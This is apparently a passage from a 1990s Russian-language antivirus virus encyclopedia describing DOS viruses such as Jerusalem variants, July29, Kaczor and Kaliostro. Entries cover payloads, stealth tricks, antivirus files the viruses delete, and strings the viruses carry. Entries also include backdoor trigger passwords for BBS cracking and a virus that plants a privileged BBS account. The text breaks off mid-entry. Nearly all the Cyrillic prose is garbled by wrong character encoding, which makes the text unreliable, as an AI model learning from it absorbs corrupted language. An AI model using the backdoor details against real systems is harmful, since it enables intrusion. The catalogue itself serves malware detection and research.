ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Virus info requested º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º ]) - \/ERSi0N PFR, Copyright (c) 1997 JDC º
º Written special for ---[ ]\/[ Z \/ ]--- º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
º Full name: D-Version Post Final Release º
º Internal name: QEE.DVersion º
º Family: DrWeb º
º Release: 007 º
º Generation: 003 º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Jdc.7611 ñîäåðæèò â ñåáå LHA - àðõèâ ñ ôàéëîì VIRINFO.TXT, êîòîðûé
ñîäåðæèò òåêñòû:
=========================================
°±²ÛÝQEE.D-VersionÞÛ²±°°°°°°°°°°°°°°°°°°°
Designed for ÄÄÄ[ ]\/[ Z \/ ]ÄÄÄ(R)
Internal revision: 007
-----------------------------------------
Copyright (c) 1997 John Darland Computing
QEE (c) 1996-97 JDC
-----------------------------------------
This is D-VERSION!!! (Post Final Release)
=========================================
WiNDOWS '95 - ONLY FOR L·A·M·E·R·S
=========================================
[JDC] [JDC] [JDC] [JDC] [JDC] [JDC] [JDC]
=========================================
===[ Messages ]========================================
ÀÂÒÎÐ ÎÒÂÅÑÒÂÅÍÍÎÑÒÈ ÇÀ ÑÂÎÈ ÂÛÑÊÀÇÛÂÀÍÈß ÍÅ ÍÅÑÅÒ
-------------------------------------------------------
. . . Âûðåçàíî öåíçóðîé . . .
===[ T·H·E E·N·D ]====================================
Òàêæå â Jdc.7611 èìåþòñÿ è äðóãèå òåêñòû:
---[ R./´.\/.E. ]-[ Random AntiUSER Virus Engine, Copr. 1997 JDC ]---
Ïî÷åìó RANDOM? Íå çíàþ...
>>> LHA ARCHIVE BEGINS HERE >>>
<<< LHA ARCHIVE ENDS HERE <<<
---[ QEE 1.44 ]-[ Quantum Encryption Engine, Copyright (c) 1996-97 JDC ]---
This program requires 80386 or better.
Fucked file is currupt.
Jdc.7616 òîæå èìååò â ñâîåì òåëå îáëàäàþùèå ðåäêîé ñîîáðàçèòåëüíîñòüþ
òåêñòû:
Sorry, there is a small error:
this program is incompotible with PC-DOS... :(
===[ Future ]==========================================
You will see in next version:
- 2 new encryptors:
- RCG (Random Code Generator) [10% done]
- TTT (The Time Tracer) [ 0% done]
- More cool Windows'95 halter [ 0% done]
Possibly:
- Int 21h tracing
===[ Messages ]========================================
To Antivirus creators:
"Please name this virus QEE.JV.DrWeb or QEE.JV.Anti95
or, in other case, QEE.AntiWin95. It is only first
virus from large family"
===[ Thanks ]==========================================
To: HR ( JDC ), VD (S&K, VI), DP (xxx), PP (xxx),
DZ (P), ID (P) and others...
===[ T·H·E E·N·D ]====================================
--[ QEE 1.41 ]-[ Quantum Encryption Engine, Copyright (c) 1996-97 JDC ]---
JDC.6891, 7474, 7616 ïðè çàðàæåíèè ôàéëîâ, óïàêîâàííûõ PKLITE, âíåäðÿþò
ôðàãìåíòû ñâîåãî êîäà â ñåðåäèíó ðàñïàêîâùèêà. Ëå÷åíèå òàêèõ ôàéëîâ
áóäåò íåêîððåêòíûì.
Jerusalem (1,2)
Îïàñíûå ðåçèäåíòíûå âèðóñû. Ðèñóþò â ëåâîì íèæíåì óãëó ÷åðíûé êâàäðàò è
ñóùåñòâåííî çàìåäëÿþò ñêîðîñòü ðàáîòû êîìïüþòåðà.  ïÿòíèöó 13 ÷èñëà
óäàëÿþò âñå çàïóñêàåìûå ïðîãðàììû.
Jerusalem.Barcelona
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Èíîãäà âûâîäèò ñîîáùåíèå:
CATALUNYA LLIURE
FORA LES FORCES D`OCUPACIO
MORT ALS TERRORISTES TRICORNUTS
Jerusalem.Canary.1970
Èíîãäà ìèãàåò ýêðàíîì è èñïîëíÿåò êàêóþ-òî ìåëîäèþ. Ñîäåðæèò ñòðîêó
"\COMMANDMC70: Moroccan Canary".
Jerusalem.Cvex.5120 (1-10), 6144, 6400
Íåêîòîðûå èç ýòèõ âèðóñîâ ÿâëÿþòñÿ îïàñíûìè. 10 èþíÿ îíè óíè÷òîæàþò
ñîäåðæèìîå ïåðâûõ 17 ñåêòîðîâ æåñòêîãî äèñêà. Jerusalem.Cvex.6144,6400
ÿâëÿþòñÿ îïàñíûìè ïîëèìîðôíûìè âèðóñàìè. Âèðóñû ñîäåðæàò òåêñòû íà
êèòàéñêîì è àíãëèéñêîì ÿçûêàõ:
COMMAND.COM IBMBIO.COM IBMDOS.COM SETVER.EXE EMM386.EXE DOSSHELL DEBUG
SERVER.EXE VSAFE MSAV MWAV CPAV NAV TRACER TRMATE HACKER GILLETTE
PCCILLIN TPS ZLOCK ZTEST GSCAN HVIR AVCOM AVEXE OFFEXE OFFCOM CKVI KLVI
DEVI BTOOL RTOOL TDISK HDPI VCOPY VSHIELD VALIDATE VB TEST VIR WIN
KERNEL.EXE KRNL GDI.EXE USER.EXE PROGMAN.EXE DOSX.EXE EXCEL CV.EXE
SYMDEB MASM.EXE LINK.EXE LIB.EXE BASIC BASCOM BASRUN ET.COM ET16N.COM
ET16E.COM ET16V.CO A-16.COM PE3 DW3 ACAD CLP FOX DBASE CLIPPER RTLINK
LOTUS 123
CVEX Version 3.00
(C) Copyright CVEX Corp. (in association with Stoned II Lab.)
All rights reserved. Made In Taiwan.
Serial No.:1993/3/6.
Computer Virus Extened Association. (C.V.E.X.)
èëè ïîäîáíûé ýòîìó:
CVEX Version 4.00
for Microsoft MS-DOS Version 6.2
(C) Copyright CVEX Corp. (in association with Stoned II Lab.)
(c) Copyright PATLABOR Corp.
All rights reserved. Made In Taiwan.
Serial No.:1994/1/1.
Computer Virus Extended Association. (C.V.E.X.)
Jerusalem.Czech
Îïàñíûé ðåçèäåíòíûé âèðóñ. ×åðåç 30 ìèíóò ïîñëå óñòàíîâêè ñâîåé TSR-
êîïèè ïîñòîÿííî âûâîäèò â ëåâîì âåðõíåì óãëó ýêðàíà ìèãàþùåå ñëîâî
"Ha!Ha!". Óäàëÿåò ïðîãðàììû BASICA.EXE, CURE.EXE, LOTUS.COM, CWI.EXE,
ETBASIC.EXE, BASICA.COM, 123.XE, DBASE.EXE, BASIC.COM ïðè èõ ñòàðòå.
Jerusalem.Distrutto
Îïàñíûé ðåçèäåíòíûé âèðóñ. 4 íîÿáðÿ ôîðìàòèðóåò âñå äîñòóïíûå äèñêè è
âûâîäèò ñîîáùåíèå:
******* Ora il tuo PC e' DISTRUTTO !!! *******
Jerusalem.Glory
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. 4 ìàðòà ðàñøèôðîâûâàåò è âûâîäèò òåêñò:
Eternal glory to those Chinese people who fell in 1989,
in the noble struggle for freedom of speech, expression,
the press, assembly, association, procession,
demonstration and the freedom to strike!
Not one single drop of blood, not one single tear,
not one single act of courage will have been wasted in vain.
Wild grasses spreading o'er the plain
With every season come and go.
Heath fire can't burn them up, again
They rise when the vernal winds blow.
Jerusalem.Invader (1-10)
Î÷åíü îïàñíûå ðåçèäåíòíûå âèðóñû. Çàðàæàþò COM è EXE-ôàéëû (êðîìå
COMMAND.COM) è boot-ñåêòîðû æåñòêèõ äèñêîâ è ôëîïïè-äèñêîâ. Äëÿ ôëîïïè
ôîðìàòèðóþò äîïîëíèòåëüíóþ äîðîæêó, íà êîòîðóþ çàïèñûâàþò ñîáñòâåííûé
êîä è îðèãèíàëüíûé boot-ñåêòîð. Ïåðåõâàòûâàþò INT 8, 9, 13h, 21h. Â
çàâèñèìîñòè îò ñâîèõ âíóòðåííèõ ñ÷åò÷èêîâ ìîãóò ñîâåðøàòü õîëîñòîé öèêë
ïðè êàæäîì âûçîâå ïðåðûâàíèÿ INT 8 (òàéìåð), óíè÷òîæàòü èíôîðìàöèþ íà
äèñêàõ, èñïîëíÿòü ìåëîäèþ, óíè÷òîæàòü ñîäåðæèìîå CMOS-ïàìÿòè èëè
âûâîäèòü ñîîáùåíèÿ:
Jerusalem.Invader (1-4):
by Invader, Feng Chia U., Warning: Don't run ACAD.EXE!
Jerusalem.Invader (5-10)
by ABT Group at Feng Chia Univ., Taiwan. Mar/27/90
Òàêæå ñîäåðæàò òåêñò "ACAD.EXECOMMAND.COM.COM.EXE".
Jerusalem.Kylie
Èíîãäà èãðàåò ìåëîäèþ. Èìååòñÿ ñòðîêà "Kylie Minogue".
Jerusalem.Mabuhay.2660 (1,2), 2695
Îïàñíûå ðåçèäåíòíûå âèðóñû. 1 ÷èñëà (Jerusalem.Mabuhay.2660) èëè 12
èþíÿ (Jerusalem.Mabuhay.2695) âèðóñû ïûòàþòñÿ óíè÷òîæèòü ñîäåðæèìîå
äèñêîâ C:, D:, E:,F: èãðàþò Ôèëëèïèíñêèé ãèìí è âûâîäÿò íà ýêðàí òåêñò:
ANTI-Southern Phil. Council 4 Peace N' Development
June 12 - the Independence Day of the Philippines.
ßß
* ßß
ßß
\¦/ ßß
ÄÄÄÄ * ßßßßßßßßßßßßßßßßßß
/¦\ ÜÜ
ÜÜ
* ÜÜ
ÜÜ
MABUHAY ANG PILIPINAS!
Dedicated to Manong Eddie.
Jerusalem.Skism
Ñîäåðæèò òåêñòû "Sub-Zero NYHC", "LORD SKISM".
Jerusalem.Sunday
Îïàñíûé ðåçèäåíòíûé âèðóñ. Â âîñêðåñåíüå âûâîäèò òåêñò:
Today is SunDay! Why do you work so hard?
All work and no play make you a dull boy!
Come on ! Let's go out and have some fun!
Ïîñëå ÷åãî óäàëÿåò âñå çàïóñêàåìûå ïðîãðàììû.
Jerusalem.VTech
Îïàñíûé ðåçèäåíòíûé âèðóñ. Óíè÷òîæàåò ôàéëû CHKLIST.CPS è SMARTCHK.CPS.
10 ìàðòà óíè÷òîæàåò ñîäåðæèìîå CMOS-ïàìÿòè è ñåêòîðîâ äèñêîâ. Ïîñëå
÷åãî âûâîäèò ñîîáùåíèå:
Don~t TRUST any virus scanner!
-- HKs VTech --
Jerusalem.Wanderer
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Íå çàðàæàåò ôàéëû, èìåíà êîòîðûõ
íà÷èíàþòñÿ íà WP, SC, WI. Ñîäåðæèò çàøèôðîâàííûé òåêñò "[I am a
Wanderer ,May 30th,1994 Korea]".
Jester.700
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "Jester-2_0Almaty95".
Jindra
Î÷åíü îïàñíûé çàãðóçî÷íûé ñòåëñ-âèðóñ. Ïåðèîäè÷åñêè óíè÷òîæàåò
ñîäåðæèìîå ñåêòîðîâ äèñêîâ è CMOS-ïàìÿòè. Ñîäåðæèò òåêñò "JINDRA_0".
Jindra.2049
Î÷åíü îïàñíûé íåðåçèäåíòíûé ïîëèìîðôíûé âèðóñ.  çàâèñèìîñòè îò ñâîèõ
âíóòðåííèõ ñ÷åò÷èêîâ ìîæåò óíè÷òîæàòü ñîäåðæèìîå ñåêòîðîâ äèñêîâ, CMOS-
ïàìÿòè è âûâîäèòü íà ýêðàí òåêñò "Jindra&Pastika je zde !!!". À òàêæå
Jindra.2049 ìîæåò çàðàçèòü àêòèâíûé çàãðóçî÷íûé ñåêòîð æåñòêîãî äèñêà
çàãðóçî÷íûì âèðóñîì Jindra, êîòîðûé â äàëüíåéøåì áóäåò "ðàçâèâàòüñÿ"
îòäåëüíî îò ðîäèòåëÿ è çàðàæàòü ñåêòîðà äèñêîâ. Jindra.2049 óäàëÿåò
ôàéëû: CHKLIST.MS, C:\AVG*.GRS, C:\AGUARD.DAT, C:\DOS\VSAFE.COM,
VSAFE.COM.
Joker.1918
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ñîäåðæèò òåêñò "Kiev '95 by
Pupil of 9-V form [JOKER.HA-HA-HA!]:G:A:PZ JOKERSYS".
Jolter.2197
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé ñòåëñ-âèðóñ. Èíîãäà âûçûâàåò
"äðîæàíèå" ýêðàíà. Ñîäåðæèò òåêñòû "ARJBSACHKDIEICELHAPKLPKZRAR",
"COMMAND.COM", "COMMAND EXECOM", "*.COM *.EXE", "IBMJOLTER 4.0".
Joshi
Íåîïàñíûé çàãðóçî÷íûé ñòåëñ-âèðóñ. "Ïåðåæèâàåò" òåïëóþ ïåðåçàãðóçêó ïðè
íàæàòèè Ctrl-Alt-Del. 5 ÿíâàðÿ âûâîäèò òåêñò "Type `Happy Birthday,
Joshi'!" è æäåò ââîäà ñ êëàâèàòóðû ôðàçû "Happy Birthday, Joshi!".
Jouce.1608
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Ïî ñðåäàì àâòîð, âèäèìî, õîòåë óíè÷òîæàòü
255 ñåêòîðîâ æåñòêîãî äèñêà, íî ýòîãî íå ïðîèñõîäèò. Íî íåïðèñòîéíûé
òåêñò ïî ñðåäàì âûâîäèòñÿ íà ýêðàí. Âèðóñ òàêæå ñîäåðæèò òåêñò "*Jouce
und Krisque*, Version 0001h.".
July29 (1-4)
Îïàñíûå çàãðóçî÷íûå âèðóñû.Çàðàæàþò boot-ñåêòîðà äèñêåò è "âèí÷åñòåðà".
Ðàñïîëàãàþòñÿ â òðåõ ïîñëåäîâàòåëüíûõ ñåêòîðàõ. Åñëè â ïðîöåññå
ñ÷èòûâàíèÿ äâóõ ïîñëåäíèõ ñåêòîðîâ "õâîñòà" âèðóñà ïðîèçîéäåò îøèáêà
÷òåíèÿ,òî âèðóñû âûâîäÿò ñîîáùåíèå "BIOS fatal error. System halted..."
è "âåøàþò" ñèñòåìó. Ïðè çàðàæåíèè æåñòêîãî äèñêà âèðóñû çàïèñûâàþò
èñòèííûé MBR è ñëåäóþùèé çà íèì ñåêòîð â 6 è 7 ñåêòîðà íóëåâîãî
öèëèíäðà. Â îðèãèíàëüíîì MBR âèðóñû èñïðàâëÿþò 3 áàéòà àäðåñà àêòèâíîãî
ðàçäåëà DOS íà àäðåñ: ãîëîâêà - 0, öèëèíäð - 0, ñåêòîð - 3. È
çàïèñûâàþò ñ óêàçàííîãî àäðåñà 3 ñåêòîðà âèðóñíîãî êîäà.Âèðóñû ÿâëÿþòñÿ
ñòåëñ-âèðóñàìè. Ïðè ïîïûòêå ÷òåíèÿ èëè çàïèñè â MBR èëè boot-ñåêòîðà
äèñêåò, ïîäñòàâëÿåòñÿ îðèãèíàëüíûé íåèíôèöèðîâàííûé ñåêòîð. Íà
êîìïüþòåðàõ êëàññà AT, 29 èþëÿ âèðóñû âûâîäÿò ñîîáùåíèå "July 29
today..." è âèðóñû July29 (1-3) ïåðåõâàòûâàþò INT 09 (êëàâèàòóðà). Åñëè
ïðîèçîéäåò íàæàòèå íà Ctrl-Alt-Del, òî âèðóñû óíè÷òîæàþò ñîäåðæèìîå 7ìè
ïåðâûõ ñåêòîðîâ æåñòêîãî äèñêà è âûâîäÿò òåêñòû:
July29 (1) - Happy birthday, B..... M......!
July29 (2-4) - Happy birthday, MICHAEL !
è "âåøàþò" ñèñòåìó. July29 (2) áëîêèðóåò èñïîëíåíèå íåêîòîðîé ïðîãðàììû
(âèäèìî, ADINF.EXE), à July29 (3) èçëå÷èâàåò MBR æåñòêîãî äèñêà ïðè
ñòàðòå èëè ÷òåíèè ïåðâîãî ñåêòîðà ýòîé æå ïðîãðàììû. July29 (4)
"ïåðåõâàòûâàåò" INT 8,9,13h,21h.Ïðè íàæàòèè íà Ctrl-Alt-Del ýòîò âèðóñ
çàðàæàåò åùå ðàç äëÿ "ïîäñòðàõîâêè" çàðàæàåò MBR æåñòêîãî äèñêà. Ïðè
ñòàðòå ïðîãðàìì ñ èìåíàìè *T.E*, *B.E*, *F.E* (AIDSTEST.EXE, DRWEB.EXE,
ADINF.EXE) July29 (4) èëè "âåøàåò" ñèñòåìó, èëè óäàëÿåò ñâîé êîä èç MBR
íà âðåìÿ ðàáîòû äàííûõ ïðîãðàìì. Âèðóñû July29 çàìåùàþò ñâîèìè êîäàìè
çàãðóçî÷íûå âèðóñû ñåìåéñòâà Stoned. Ñîäåðæàò òàêæå ñòðîêè: July29 (1)-
"v3.1", July29 (2) - "v4.1", July29 (3) - "v4.5", July29 (4) - "v5.0".
July29 (4) 29 ÷èñëà óäàëÿåò êàæäóþ 8 ñòàðòîâàâøóþ ïðîãðàììó.
Jump.466
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Èìååò ñòðîêó "JUMP".
JumpBoot
Îïàñíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Çàðàæàåò MBR æåñòêîãî äèñêà, à òàêæå
âíåäðÿåòñÿ â ôàéëû, çàïèñûâàåìûå íà ãèáêèå äèñêè. Ïðè ñòàðòå òàêîãî
èíôèöèðîâàííîãî ôàéëà âèðóñ çàðàæàåò MBR æåñòêîãî äèñêà, çàïèñûâàÿ
îðèãèíàëüíûé ñåêòîð è ñâîå ïðîäîëæåíèå â äâà ñåêòîðà íà ïåðâîé äîðîæêå,
ñîäåðæàùèå íóëåâûå áàéòû. Ïðè çàãðóçêå ñèñòåìû ñ èíôèöèðîâàííîãî MBR,
âèðóñ ðàñïîëàãàåò ÷àñòü ñâîåãî êîäà â òàáëèöå âåêòîðîâ ïðåðûâàíèé ïî
àäðåñó 0:200h è ïåðåõâàòûâàåò INT 13h. Ïðè çàïèñè íà æåñòêèé äèñê
ñåêòîðà, ñîäåðæàùåãî ïåðâûìè áàéòàìè EBh èëè E9h (ïåðåõîä-jump) âèðóñ
çàïèñûâàåò âìåñòî ýòîãî ñåêòîðà ñâîé êîä. Ïðè÷åì ïîñëå ýòîé çàïèñè
âèðóñ îáåçâðåæèâàåò â ïàìÿòè äàííóþ ïðîöåäóðó çàðàæåíèÿ ôàéëîâ. Ò.å.,
äî ñëåäóþùåé ïåðåçàãðóçêè ïðîèçâîäèòñÿ âñåãî îäíà çàïèñü íà ãèáêèé
äèñê. Âèðóñ òàêæå ÿâëÿåòñÿ ñòåëñ-âèðóñîì, ïîäñòàâëÿÿ âìåñòî
èíôèöèðîâàííîãî MBR îðèãèíàëüíûé ñåêòîð.
Jumper (1,2)
Íåîïàñíûå çàãðóçî÷íûå âèðóñû.Ïðè ñòàðòå ñ ôëîïïè-äèñêà, âèðóñû çàðàæàþò
MBR "âèí÷åñòåðà", "ïåðåõâàòûâàþò" INT 1Ch, æäóò çàãðóçêè DOS, ïîñëå
÷åãî "ïåðåõâàòûâàþò" INT 21h. Çàðàæàþò ôëîïïè-äèñêè ïðè ôóíêöèÿõ ââîäà-
âûâîäà íà êîíñîëü è ñìåíå òåêóùåãî äèñêà (f.0Ah, 0Eh Int 21h). Èíîãäà
âûâîäÿò íà ýêðàí ñèìâîë "þ" ASCII 0EEh.
JuneTunes.1784
 èþíå ñ âåðîÿòíîñòüþ 3/4 èãðàåò îäíó èç òðåõ ìåëîäèé.
Junior.224
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Èçìåíÿåò âûçîâ INT 21h äëÿ ñòàðòà ïðîãðàìì
ðåçèäåíòíîé ÷àñòè êîìàíäíîãî ïðîöåññîðà íà INT AEh è ïåðåõâàòûâàåò INT
AEh. Ñîäåðæèò ñòðîêó "Junior".
KaaBum.1500
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ðàçìíîæàåòñÿ òîëüêî íà÷èíàÿ ñ èþíÿ ìåñÿöà.
 âîñêðåñåíüå âèðóñ âûâîäèò òåêñò:
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛ KaaBum! Sorry for BAD virus! ÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
è ïåðåèìåíîâûâàåò C:\COMMAND.COM â C:\MOCDNAM.MOC. Ïðè ñòàðòå íåêîòîðûõ
ïðîãðàìì ìîæåò âûâåñòè ñîîáùåíèå "Bad command or file name". Ïðè
íàæàòèè íà Ctrl-Alt-Del âèðóñ âûâîäèò òåêñò:
ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
Û ß ËÅÆÓ ÍÀ ÏËßÆÓ Û
Û È ÍÀ ÐÀÇÍÛÕ ÁÀÁ ÃËßÆÓ, Û
Û È ÏÐÎ ÊÀÆÄÓÞ ÑÓÆÓ: Û
Û ÊÀÊ ÅÅ ß ÎÁÍÀÆÓ, Û
Û Ñ ÑÎÁÎÉ ÐßÄÎÌ ÏÎËÎÆÓ, Û
Û ÌÅÆÄÓ ÍÎÃ ß ÅÉ ÂÎÍÆÓ Û
Û È ÎÒ ÊÀÉÔÀ ÇÀÂÈÇÆÓ ! Û
Û.........................Û
ÛÒÎËÜÊÎ ×ÒÎ-ÒÎ ÍÅ ÆÓ-ÆÓ...Û
ßßßßßßßßßßßßßßßßßßßßßßßßßßß
Kaczor.4444, 4447
Íåîïàñíûå ïîëèìîðôíûå ôàéëîâî-çàãðóçî÷íûå ñòåëñ-âèðóñû. Ïðè ïåðâîì
çàïóñêå èíôèöèðîâàííîé ïðîãðàììû âèðóñû çàðàæàþò MBR æåñòêîãî äèñêà è
óñòàíàâëèâàþò ñâîè êîïèè â âåðõíèå àäðåñà ïàìÿòè. Ïåðåõâàòûâàþò INT
13h, 21h, ïðè÷åì îñíîâíîå òåëî âèðóñà çàøèôðîâàíî, à òî÷êè âõîäà â
âèðóñíûå îáðàáîò÷èêè ïðåðûâàíèé ðàçìåùåíû â ñëó÷àéíîì ìåñòå ïîñëå
îñíîâíîãî êîäà. Çàðàæàþò EXE-ôàéëû òîëüêî íà ãèáêèõ äèñêàõ. Ïðè
çàãðóçêå ñèñòåìû ñ çàðàæåííîãî MBR, âèðóñû ñ÷èòûâàþò ñâîå ïðîäîëæåíèå -
9 ñåêòîðîâ, íàõîäÿùèõñÿ ïî àäðåñó 0:0:9, ðàçìåùàþò ñâîþ TSR-êîïèþ â
ïàìÿòè, "ïåðåõâàòûâàþò" INT 12h (äëÿ âîçâðàùåíèÿ óìåíüøåííîãî ðàçìåðà
ïàìÿòè íà 6 äî çàãðóçêè DOS) è 1Ch. Æäóò çàãðóçêè DOS, ïîñëå ÷åãî
"ïåðåõâàòûâàþò" INT 13h, 21h è 3 ìàðòà INT 08. Åñëè âî âðåìÿ çàãðóçêè
ñèñòåìû â áóôåðå êëàâèàòóðû îêàæåòñÿ ñëîâî "kaczor", òî âèðóñû âûâîäÿò
íà ýêðàí ñîîáùåíèå "Zrobione." è "ñàìîèçëå÷èâàþòñÿ" (óäàëÿþò ñâîé êîä
èç MBR). Åñëè æå â áóôåðå êëàâèàòóðû áóäåò íàõîäèòüñÿ ñëîâî "test", òî
âèðóñû ìîãóò âûâåñòè, ïðèìåðíî òàêîé, òåêñò:
Wersja.........2
Kodowanie......4
Licznik HD....10
Ãäå "Kodowanie" - íîìåð èñïîëüçóåìîãî âèðóñàìè øèôðîâùèêà (âñåãî âèðóñû
èìåþò 10 ðàçëè÷íûõ êîìáèíàöèé øèôðîâàíèÿ), à "Licznik HD" - ñ÷åò÷èê
çàðàæåíèé MBR. 3 ìàðòà âèðóñû "ïåðåõâàòûâàþò" åùå è INT 08 è ïîñòîÿííî
"äåðãàþò" èçîáðàæåíèå íà ýêðàíå.
Kadavr.506
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò ñòðîêó "Êàäàâð".
Kak.391
Èíîãäà âûâîäèò íà ýêðàí "Êàê ìíîãî âèðóñîâ õîðîøèõ ...".
Kaka.911, 928
Ñîäåðæàò òåêñòû:
Kaka.911 - KAKASHKA v3.21 - S. city , 1991-1992
Kaka.928 - KAKASHKA v3.3 - S. city, 1991-92
Kaliostro.1752, 2098
Îïàñíûå ðåçèäåíòíûå âèðóñû. Ïðåäíàçíà÷åíû, âèäèìî, äëÿ "âçëîìà" ñòàíöèé
BBS, ðàáîòàþùèõ ïîä MAXIMUS. Ïðè ðàáîòå âèðóñû ïîñòîÿííî ïûòàþòñÿ
âûÿñíèòü óñòàíîâëåí ëè â ñèñòåìå FOSSIL-äðàéâåð. Åñëè äàííûé äðàéâåð
óñòàíîâëåí, òî âèðóñû "ïåðåõâàòûâàþò" INT 14h (BIOS communications) è
êîíòðîëèðóþò ÷òåíèå èç àêòèâíîãî COM - ïîðòà (ìîäåì). Ïðè ïîëó÷åíèè
ñòðîêè "1259hackvgisnh" (èëè "crack9db6n4mwd7") âèðóñû ïîñûëàþò â COM-
ïîðò ñòðîêó "Ïàpîëü ââåäåí âåpíî" è âçâîäÿò ôëàã "îæèäàíèÿ êîìàíä
âçëîìùèêà". Ïðè ïîëó÷åíèè ñèìâîëà "1" èëè "2" âèðóñû ýìóëèðóþò íàæàòèå
íà êëàâèøè s,KeyPad-2,Enter èëè s,KeyPad-8,Enter ñîîòâåòñòâåííî. Ïðè
ïîëó÷åíèè ñèìâîëà "3" âèðóñû ñáðàñûâàþò ñâîé ôëàã "îæèäàíèÿ êîìàíä
âçëîìùèêà". Kaliostro.2098 êîíòðîëèðóåò îáðàùåíèå ê ôàéëó LOGO.BBS è
ïîñûëàåò â COM-ïîðò òåêñò "CRACK IT .....". Ñîäåðæàò òåêñò "Õà Õà Õà
.... I am Kaliostro 3.0 (c) Dred".
Kampana (1,2)
Î÷åíü îïàñíûå çàãðóçî÷íûå âèðóñû. Ïðè 400-îé çàãðóçêå ñ èíôèöèðîâàííîãî
æåñòêîãî äèñêà, âèðóñû óíè÷òîæàþò èíôîðìàöèþ íà ýòîì äèñêå è âûâîäÿò
òåêñò "Campaäa Anti-TELEFONICA (Barcelona)".
Karina.850
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ïîñëå 23 ñåíòÿáðÿ âûâîäèò íà ýêðàí
ïåðåëèâàþùèéñÿ òåêñò:
ßßßßß ßßßßß ßßßßß ßßßßßß ßßßßßß ßßßßßß ßßßßß ßß ßß ßßß ßß
ßß ßß ßß ßß ßß ßß ßß ßß ßß ßß ßß ßßßß ßß
ßßßßß ßßß ßßß ßßßßß ßß ßßßßßß ßß ßßßßß ßß ßß ßß ßß ßß
ßß ßß ßß ßß ßß ßß ßß ßß ßß ßß ßß ßßßß
ßßßßßß ßßßßß ßßßßßß ßßßßßß ßß ßßßßßß ßßßßßß ßßßßß ßß ßßß
Èìååò ñòðîêó "KarinaB".
Karnavali.1972
Íåîïàñíûé ðåçèäåíòíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Çàðàæàåò EXE-ôàéëû è
çàãðóçî÷íûé ñåêòîð äèñêà C:, íå ïðîâåðÿÿ ÿâëÿåòñÿ ëè äàííûé ñåêòîð
àêòèâíûì è íå ñîõðàíÿÿ åãî. Ïîñëå çàðàæåíèÿ 60 ôàéëîâ âûâîäèò íà ýêðàí
òåêñò:
K A R N A V A L I O F P A T R A S ! ! !
* * * P A T R A S H / Y * * *
È "çàáèâàåò" ýêðàí ðàçëè÷íûìè öâåòíûìè ñèìâîëàìè òàê, ÷òî ýòî
äåéñòâèòåëüíî ñìàõèâàåò íà íåêèé êàðíàâàëüíûé ïðàçäíèê.
Karol.1000
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïûòàåòñÿ çàòðóäíèòü àíàëèç ñâîåãî êîäà,
èñïîëüçóÿ âûçîâ INT 1, 8, 9 äëÿ âûçîâà ñâîèõ ïîäïðîãðàìì. Ñîäåðæèò
ñòðîêó "KaRoLmArKs V2.3".
Kate.582, 585
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Ïåðèîäè÷åñêè "ïåðåçàãðóæàþò" ñèñòåìó.
Ñîäåðæàò òåêñòû "KATE 1.01b", "KATE 1996 - (C) ORIEL software company".
Katya.732
18 äåêàáðÿ âûâîäèò íà ýêðàí òåêñò:
Ñ äíåì ðîæäåíüÿ,
Kavaklar.743
Ñîäåðæèò òåêñò "Kavaklar v2.05 (c)Unterleutnant".
Kela.1207, 1253, 1473
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Ñîäåðæàò òåêñòû:
Kela.1207: "MUSTDIE v.1 (a) <Ðîãàíîâ Å.À. must die> ÌÃÈÓ(C)1996-97",
Kela.1253: "MUSTDIE v.2 (a)
ÌÃÈÓ(C)1996-97",
Kela.1473: "MUSTDIE v.3 (a)
ÌÃÈÓ(C)1996-97".
KeyOff.400
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Êîíòðîëèðóåò INT 10h, 21h. Èíîãäà
áëîêèðóåò êëàâèàòóðó.
Keypress.1000
Îïàñíûé ðåçèäåíòíûé âèðóñ.  àïðåëå óíè÷òîæàåò òåêóùèé ëîãè÷åñêèé äèñê.
Ñîäåðæèò ñòðîêó "King worm".
Keypress.Platon
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè îòêðûòèè ôàéëà USER.BBS âèðóñ çàïèñûâàåò
â íåãî íîâîãî ïîëüçîâàòåëÿ Platon Potapov ñ ìàêñèìàëüíûìè ïðèâèëåãèÿìè.
Ñîäåðæèò ñòðîêè:
Platon Potapov
SPb
311-63-83
Alfred
Keypress.Samsoft
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Êàæäûå 10 ìèíóò ïÿòü ðàç ïîâòîðÿåò
